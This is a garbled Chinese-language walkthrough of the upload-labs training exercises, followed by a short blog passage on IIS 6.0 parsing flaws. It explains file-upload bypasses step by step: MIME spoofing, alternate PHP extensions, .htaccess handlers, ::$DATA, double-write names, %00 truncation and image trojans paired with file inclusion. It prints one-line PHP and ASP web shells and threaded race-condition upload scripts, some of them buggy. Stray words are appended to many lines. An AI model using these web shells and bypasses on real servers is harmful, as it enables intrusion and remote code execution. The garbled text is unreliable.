前端驗證繞過能夠直接用burp萬能繞過前端JS腳本php
方法先上傳一張jpghtml
Burp改包而後改後綴前端
上傳成功python
此繞過方式是將mimi也就是說文件後綴web
咱們此時選擇上傳圖片抓包shell
發現content——tpype爲image/jpegwindows
接下來咱們上傳1.php將content-type改成和圖片同樣的上傳瀏覽器
而後發現上傳成功服務器
這一關是另類的文件名的繞過,能夠嘗試phtml,php3,php4, php5, pht後綴名均可以繞過,可是前提是要在配置文件裏面有這樣的一句話session
AddType application/x-httpd-php .php .phtml .phps .php5 .pht
這是文件源碼不能這些是黑名單
構造.htaccess
實現重寫文件解析,一樣這樣的前提也是得在配置文件裏面有這樣的一句話
AllowOverride All
LoadModule rewrite_module modules/mod_rewrite.so
看一下百度對htaccess的理解
概述來講,htaccess文件是Apache服務器中的一個配置文件,它負責相關目錄下的網頁配置。經過htaccess文件,能夠幫咱們實現:網頁301重定向、自定義404錯誤頁面、改變文件擴展名、容許/阻止特定的用戶或者目錄的訪問、禁止目錄列表、配置默認文檔等功能。
我我的理解的意思就是,把SetHandler application/x-httpd-php 這句話寫成.htaccess,而後上傳個jpg,它就當php解析了
cmd製做文件方式,先把這句話寫到1.txt,而後ren 1.txt .htaccess,而後就製做好了,先上傳這個,而後把php改爲jpg上傳
訪問頁面發現沒有回顯,說明解析成功
這裏咱們須要注意
關鍵字要和你的圖片馬同樣 好比我hatccess文件裏面是tony
我圖片馬名稱就是tony
而後利用hackbar傳參來控制,先pwd看一下所在的位置
而後ls到上層尋找
找到文件,cat一下,而後在源代碼裏面就能看到了
一開始沒有回顯覺得失敗了,結果在源碼裏
那麼問題來了
此時菜刀應該鏈接tony.php 仍是tony.jpg吶
答案如圖
而後成功
能夠知道方法三的那些php5 ptml都不行了
只能用.htaccess繞過了
此方法在方法3的第二方案講了
成功上傳
只有用大小寫繞過
可是我以爲這個應該是狀況而定吧 你遇到的不必定就是Php就行的
因此多嘗試
各類嘗試
訪問成功
這裏咱們不就不能用大小寫後綴繞過
加了所有轉換爲小寫
此時你們別像我同樣 在win裏面給文件加空格後綴 主要是我以前還加了很久 哈哈
直接上傳抓包 而後burp改包一鍵上傳就OK
成功上傳
你們仔細觀察
能夠看見和第六題相比這次少了
這個所以咱們能夠BP抓包加·繞過
This is succeeful
查看源碼
仍是黑名單,可是沒有對後綴名進行去」::$DATA」處理,利用windows特性,可在後綴名中加」 ::$DATA」繞過:
以前代碼都有除去字符串
可是這裏沒有
成功繞過
str_replace
這個函數你們不陌生吧
可想而知
他先刪除一個點
再刪除一個空格
你們能夠發現
成功繞過了
. .(點加空格加點)
查看源碼
$file_name = trim($_FILES['upload_file']['name']);//定義name
$file_name = str_ireplace($deny_ext,"", $file_name);//替換上面的php這些爲空
找出關鍵代碼
好
這個很熟悉了吧
Sql雙寫繞過
因爲php特殊
因此雙寫也得講道理因此構造下面
pphphp
OK I am winner
看源碼發現是白名單
可是咱們發現ima-path直接拼接 所以能夠%00繞過
這個時候可使用%00截斷,但這東西有點過氣了,由於須要兩個條件
php版本小於5.3.4
php的magic_quotes_gpc爲OFF狀態
若是要完成這一個題目就必需要實現上面的兩個條件,可是如今都PHP7了,這東西也就不多見了,知足上面的條件的時候php就是把它當成結束符,後面的數據直接忽略,這也致使了不少的問題,文件包含也能夠利用這一點
因此若是要繞過,咱們能夠這樣去實現,另save_path等於下面的值
可是如今PHP大多數多高於這個版本了
截斷時候必定要萬分注意%00後面加空格必定要
此次的save_path是經過post傳進來的,仍是利用00截斷,但此次須要在二進制中進行修改,由於post不會像get對%00進行自動解碼。
找到參數後 後面用二進制工具
9.php%00
查看源碼
發現對文件頭進行了處理
並以此判斷文件類型
咱們能夠製做圖片馬進行上傳
注意這裏的圖片必須是真圖片copy下來才能繞過驗證
這是咱們簡單寫的一個文件包含
<?php
$file = $_GET[ 'page' ];
include($file);
?>
這樣採訪才能成功
因此圖片木馬必須配合文件包含漏洞才能使用
查看源碼
這裏利用了getimagesize
rray getimagesize ( string $filename [, array &$imageinfo ] )
getimagesize() 函數將測定任何 GIF,JPG,PNG,SWF,SWC,PSD,TIFF,BMP,IFF,JP2,JPX,JB2,JPC,XBM 或 WBMP 圖像文件的大小並返回圖像的尺寸以及文件類型和一個能夠用於普通 HTML 文件中 IMG 標記中的 height/width 文本字
和13同樣構造圖片立刻傳 同時須要文件包含漏洞
查看源碼
$image_type = exif_imagetype($filename);
這是新加的函數
和13關同樣的繞過方法
查看源碼
抓包看上傳後圖片的那些部分被截取那些沒有被截取 而後在講代碼插入未被截取的部分
而後也是文件包含漏洞
一樣須要
查看源碼
$temp_file = $_FILES['upload_file']['tmp_name'];//存儲在服務器的文件的臨時副本的名稱
當咱們上傳web shell文件時,不會先限制php類型文件上傳,先利用上面的語句把上傳的文件臨時存放。再執行下面的if語句進行文件類型的限制和文件名的時間戳。而後執行if(move_uploaded_file($temp_file, $upload_file))//移動到新文件夾
繞過思路是利用代碼執行過程有耗費時間的過程。臨時webshell文件保存的極短期,去訪問webshell。獲取一些信息
咱們能夠利用burp多線程發包,而後不斷在瀏覽器訪問咱們的webshell。會有一瞬間的訪問成功
python腳本:
# coding:utf-8
import hackhttp
from multiprocessing.dummy import Pool as ThreadPool
def upload(lists):
hh = hackhttp.hackhttp()
raw = """POST / HTTP/1.1
Host: http://localhost:8088/upload-labs-master/Pass-17/index.php
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://108.160.142.252:9001/
Content-Type: multipart/form-data; boundary=---------------------------19988116922523
Content-Length: 2196
Cookie: csrftoken=r0XE7UKfalFDMCMqF5fphAprLj2CYhzk; sessionid=gv2xwxra43oe9dj7p5wz8lxjtsz0speg
Connection: close
Upgrade-Insecure-Requests: 1
-----------------------------19988116922523
Content-Disposition: form-data; name="upload_file"; filename="damaxiao.php"
Content-Type: application/octet-stream
<?php assert($_POST["a"])?>
-----------------------------19988116922523
Content-Disposition: form-data; name="submit"
ä¸ä¼
-----------------------------19988116922523--
"""
code, head, html, redirect, log = hh.http('http://108.160.142.252:9001/', raw=raw)
print(str(code) + "\r")
pool = ThreadPool(20)
pool.map(upload, range(10000))
pool.close()
pool.join()
request模塊
import requests
import hackhttp
from multiprocessing.dummy import Pool as ThreadPool
import sys
reload(sys)
sys.setdefaultencoding('utf8')
url = 'http://localhost:8088/upload-labs-master/Pass-17/index.php'
def upload():
file = {
'file': open('damaxiao.php','rb')
}
header = {
'Host': '108.160.142.252:9001',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Accept-Encoding': 'gzip, deflate',
'Cookie': 'csrftoken=r0XE7UKfalFDMCMqF5fphAprLj2CYhzk; sessionid=gv2xwxra43oe9dj7p5wz8lxjtsz0speg; aM3_sid=s98M8S',
'Connection': 'keep-alive',
'Upgrade-Insecure-Requests': '1',
'Cache-Control': 'max-age=0'
}
# def keepreq():
r = requests.post(url,files=file)
print(str(r.status_code) + "\r")
pool = ThreadPool(20)
pool.map(upload(), range(10000))
pool.close()
pool.join()
http://www.javashuo.com/article/p-hthpnbaz-nd.html
我也不是很懂嘛
同17
後面加一個空格即是繞過了不知道爲何這麼神奇
咱們先查看源碼
http://www.php.cn/php-weizijiaocheng-402602.html
這個函數是按
http://www.javashuo.com/article/p-wwtnenju-d.html
http://www.w3school.com.cn/php/func_array_in_array.asp
先按.將文件名稱分割
在
大概意思就是解析漏洞
成功上傳
學滲透必定要動手操做,一個簡單的動做重複N遍以上就能學會了。
最近在學習一句話木馬的使用,加上中國菜刀,真是個居家旅行的必備技能。舉例說asp的一句話:
<%execute request(chr(97))%>
a就是鏈接密碼了。(必定要寫對chr(97),我看着書寫char(97)被坑了一下午...還覺得是服務器設置問題)。可是今天我練習的時候遇到了只能上傳圖片的漏洞,而後就去網上找姿式,就學習了IIS6.0的解析漏洞了。
個人練習環境是windows 2003的IIS6.0,這個版本有兩個解析漏洞:
一、在網站目錄中若是存在名爲*.asp、*.asa的目錄,那該目錄內的任何文件都會被IIS解析爲asp文件並執行。
二、在上傳圖片木馬的時候,將文件名改成*.asp;.jpg,該文件文件都會被IIS解析爲asp文件並執行。
第一個漏洞測試成功了,在網站目錄下建立了一個1.asp目錄,在目錄下上傳了內容爲<%execute request(chr(97))%>但文件名爲cmd.jpg的」圖像「文件,用菜刀成功鏈接。
第二個漏洞同理,不一樣的只是之間創建一個一樣內容的cmd.asp;.jpg文件。
至於製做asp圖片木馬,今天學到了一個copy拼接的方法:
準備一張圖片(儘量小點吧,10k左右?對加載應該有影響),命名爲1.jpg
寫asp一句話木馬,命名爲1.asp
打開cmd,執行COPY 1.jpg /b + 1.asp /a asp.jpg拼接獲得asp.jpg即時asp圖片木馬了。【/b表示指定一個二進制文件,/a表示指定一個ASCII文件】
切記 學習之路 少就是多 慢就是快